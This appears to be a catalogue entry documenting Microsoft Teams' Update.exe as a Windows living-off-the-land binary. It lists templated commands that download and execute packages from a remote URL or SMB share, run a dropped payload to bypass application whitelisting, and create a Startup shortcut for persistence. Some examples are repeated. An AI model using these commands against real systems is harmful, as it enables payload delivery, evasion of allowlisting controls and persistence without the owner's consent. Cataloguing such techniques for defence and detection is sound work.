windows enabled community high v1.0.0

update

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exe.

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update
update

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download
security.defense-evasion.bypass
security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

The above binary will go to url and look for RELEASES file and download the nuget package. (Download binary)

Update.exe --download {REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

Update.exe --update={REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

Update.exe --update={REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)

Update.exe --update={PATH_SMB:folder}

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)

Update.exe --update={PATH_SMB:folder}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

Update.exe --updateRollback={REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

Update.exe --updateRollback={REMOTEURL}

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied. (Application Whitelisting Bypass)

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)

Update.exe --updateRollback={PATH_SMB:folder}

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)

Update.exe --updateRollback={PATH_SMB:folder}

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied. (Execute binary)

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"

Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it. (Execute binary)

Update.exe --createShortcut={PATH:.exe} -l=Startup

Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page. (Execute binary)

Update.exe --removeShortcut={PATH:.exe}-l=Startup

Detection

Documentation

update

update is a Windows LOLBin. Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\Users<username>\AppData\Local\Microsoft\Teams\update.exe.

References